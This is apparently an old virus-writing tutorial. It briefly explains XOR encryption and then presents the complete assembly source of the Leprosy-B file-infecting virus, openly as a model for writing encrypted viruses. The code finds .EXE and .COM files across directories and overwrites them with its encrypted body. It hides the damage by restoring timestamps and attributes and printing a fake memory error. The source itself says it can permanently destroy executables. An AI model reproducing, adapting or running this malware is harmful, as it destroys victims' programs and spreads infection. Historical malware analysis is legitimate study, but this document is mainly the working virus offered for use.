Encryption is perhaps one of the key parts of writing a virus. If you
have a virus that prints a message to the screen, you don't want infected
files to contain that message.
One easy way to encrypt data is the XOR method. XOR is a matamatical
function that can be used to cifer and decifer data with the same key.
Example --
FF xor A1 = 5E
byte to encrypt^ ^key ^result
and likewise
5E xor A1 = FF
So as you can see an easy way to encrypt/decrypt sensitve data is with the
XOR function.
A popular virus that demonstrates this teqnique is Leprosy-B. By studing the
below example you are on the way to make simple encrypted viruses.
; <LEPROSYB.ASM> - Leprosy-B Virus Source
; Copy-ya-right (c) 1990 by PCM2.
;
; This file is the source code to the Leprosy-B virus. It should
; be assembled with an MASM-compatible assembler; it has been tested
; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
; It should be made into a .COM file before executing, with either
; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
;
; This program has the potential to permanently destroy executable
; images on any disk medium. Other modifications may have been made
; subsequent to the original release by the author, either benign,
; or which could result in further harm should this program be run.
; In any case, the author assumes no responsibility for any damage
; caused by this program, incidental or otherwise. As a precaution,
; this program should not be turned over to irresponsible hands...
; (unlike people like us, that is).
title "Leprosy-B Virus by PCM2, August 1990"
cr equ 13 ; Carriage return ASCII code
lf equ 10 ; Linefeed ASCII code
tab equ 9 ; Tab ASCII code
virus_size equ 666 ; Size of the virus file
code_start equ 100h ; Address right after PSP in memory
dta equ 80h ; Addr of default disk transfer area
datestamp equ 24 ; Offset in DTA of file's date stamp
timestamp equ 22 ; Offset in DTA of file's time stamp
filename equ 30 ; Offset in DTA of ASCIIZ filename
attribute equ 21 ; Offset in DTA of file attribute
code segment 'code' ; Open code segment
assume cs:code,ds:code ; One segment for both code & data
org code_start ; Start code image after PSP
;---------------------------------------------------------------------
; All executable code is contained in boundaries of procedure "main".
; The following code, until the start of "virus_code", is the non-
; encrypted CMT portion of the code to load up the real program.
;---------------------------------------------------------------------
main proc near ; Code execution begins here
call encrypt_decrypt ; Decrypt the real virus code
jmp random_mutation ; Put the virus into action
encrypt_val db 00h ; Hold value to encrypt by here
; ---------- Encrypt, save, and restore the virus code -----------
infect_file:
mov bx,handle ; Get the handle
push bx ; Save it on the stack
call encrypt_decrypt ; Encrypt most of the code
pop bx ; Get back the handle
mov cx,virus_size ; Total number of bytes to write
mov dx,code_start ; Buffer where code starts in memory
mov ah,40h ; DOS write-to-handle service
int 21h ; Write the virus code into the file
call encrypt_decrypt ; Restore the code as it was
ret ; Go back to where you came from
; --------------- Encrypt or decrypt the virus code ----------------
encrypt_decrypt:
mov bx,offset virus_code ; Get address to start encrypt/decrypt
xor_loop: ; Start cycle here
mov ah,[bx] ; Get the current byte
xor ah,encrypt_val ; Engage/disengage XOR scheme on it
mov [bx],ah ; Put it back where we got it
inc bx ; Move BX ahead a byte
cmp bx,offset virus_code+virus_size ; Are we at the end?
jle xor_loop ; If not, do another cycle
ret ; and go back where we came from
;-----------------------------------------------------------------------
; The rest of the code from here on remains encrypted until run-time,
; using a fundamental XOR technique that changes via CMT.
;-----------------------------------------------------------------------
virus_code:
;----------------------------------------------------------------------------
; All strings are kept here in the file, and automatically encrypted.
; Please don't be a lamer and change the strings and say you wrote a virus.
; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
; changes, even when the strings stay the same.
;----------------------------------------------------------------------------
exe_filespec db "*.EXE",0
com_filespec db "*.COM",0
newdir db "..",0
fake_msg db cr,lf,"Program too big to fit in memory$"
virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$"
virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$"
virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
compare_buf db 20 dup (?) ; Buffer to compare files in
files_found db ?
files_infected db ?
orig_time dw ?
orig_date dw ?
orig_attr dw ?
handle dw ?
success db ?
random_mutation: ; First decide if virus is to mutate
mov ah,2ch ; Set up DOS function to get time
int 21h
cmp encrypt_val,0 ; Is this a first-run virus copy?
je install_val ; If so, install whatever you get.
cmp dh,15 ; Is it less than 16 seconds?
jg find_extension ; If not, don't mutate this time
install_val:
cmp dl,0 ; Will we be encrypting using zero?
je random_mutation ; If so, get a new value.
mov encrypt_val,dl ; Otherwise, save the new value
find_extension: ; Locate file w/ valid extension
mov files_found,0 ; Count infected files found
mov files_infected,4 ; BX counts file infected so far
mov success,0
find_exe:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset exe_filespec ; Check for .EXE extension first
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je find_com ; If not, nothing more to do
call find_healthy ; Otherwise, try to find healthy .EXE
find_com:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset com_filespec ; Check for .COM extension now
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je chdir ; If not, step back a directory
call find_healthy ; Otherwise, try to find healthy .COM
chdir: ; Routine to step back one level
mov dx,offset newdir ; Load DX with address of pathname
mov ah,3bh ; Change directory DOS service
int 21h
dec files_infected ; This counts as infecting a file
jnz find_exe ; If we're still rolling, find another
jmp exit_virus ; Otherwise let's pack it up
find_healthy:
mov bx,dta ; Point BX to address of DTA
mov ax,[bx]+attribute ; Get the current file's attribute
mov orig_attr,ax ; Save it
mov ax,[bx]+timestamp ; Get the current file's time stamp
mov orig_time,ax ; Save it
mov ax,[bx]+datestamp ; Get the current file's data stamp
mov orig_date,ax ; Save it
mov dx,dta+filename ; Get the filename to change attribute
mov cx,0 ; Clear all attribute bytes
mov al,1 ; Set attribute sub-function
mov ah,43h ; Call DOS service to do it
int 21h
mov al,2 ; Set up to open handle for read/write
mov ah,3dh ; Open file handle DOS service
int 21h
mov handle,ax ; Save the file handle
mov bx,ax ; Transfer the handle to BX for read
mov cx,20 ; Read in the top 20 bytes of file
mov dx,offset compare_buf ; Use the small buffer up top
mov ah,3fh ; DOS read-from-handle service
int 21h
mov bx,offset compare_buf ; Adjust the encryption value
mov ah,encrypt_val ; for accurate comparison
mov [bx+6],ah
mov si,code_start ; One array to compare is this file
mov di,offset compare_buf ; The other array is the buffer
mov ax,ds ; Transfer the DS register...
mov es,ax ; ...to the ES register
cld
repe cmpsb ; Compare the buffer to the virus
jne healthy ; If different, the file is healthy!
call close_file ; Close it up otherwise
inc files_found ; Chalk up another fucked up file
continue_search:
mov ah,4fh ; Find next DOS function
int 21h ; Try to find another same type file
cmp ax,12h ; Are there any more files?
je no_more_found ; If not, get outta here
jmp find_healthy ; If so, try the process on this one!
no_more_found:
ret ; Go back to where we came from
healthy:
mov bx,handle ; Get the file handle
mov ah,3eh ; Close it for now
int 21h
mov ah,3dh ; Open it again, to reset it
mov dx,dta+filename
mov al,2
int 21h
mov handle,ax ; Save the handle again
call infect_file ; Infect the healthy file
call close_file ; Close down this operation
inc success ; Indicate we did something this time
dec files_infected ; Scratch off another file on agenda
jz exit_virus ; If we're through, terminate
jmp continue_search ; Otherwise, try another
ret
close_file:
mov bx,handle ; Get the file handle off the stack
mov cx,orig_time ; Get the date stamp
mov dx,orig_date ; Get the time stamp
mov al,1 ; Set file date/time sub-service
mov ah,57h ; Get/Set file date and time service
int 21h ; Call DOS
mov bx,handle
mov ah,3eh ; Close handle DOS service
int 21h
mov cx,orig_attr ; Get the file's original attribute
mov al,1 ; Instruct DOS to put it back there
mov dx,dta+filename ; Feed it the filename
mov ah,43h ; Call DOS
int 21h
ret
exit_virus:
cmp files_found,6 ; Are at least 6 files infected?
jl print_fake ; If not, keep a low profile
cmp success,0 ; Did we infect anything?
jg print_fake ; If so, cover it up
mov ah,09h ; Use DOS print string service
mov dx,offset virus_msg1 ; Load the address of the first line
int 21h ; Print it
mov dx,offset virus_msg2 ; Load the second line
int 21h ; (etc)
mov dx,offset virus_msg3
int 21h
mov dx,offset virus_msg4
int 21h
jmp terminate
print_fake:
mov ah,09h ; Use DOS to print fake error message
mov dx,offset fake_msg
int 21h
terminate:
mov ah,4ch ; DOS terminate process function
int 21h ; Call DOS to get out of this program
filler db 8 dup (90h) ; Pad out the file length to 666 bytes
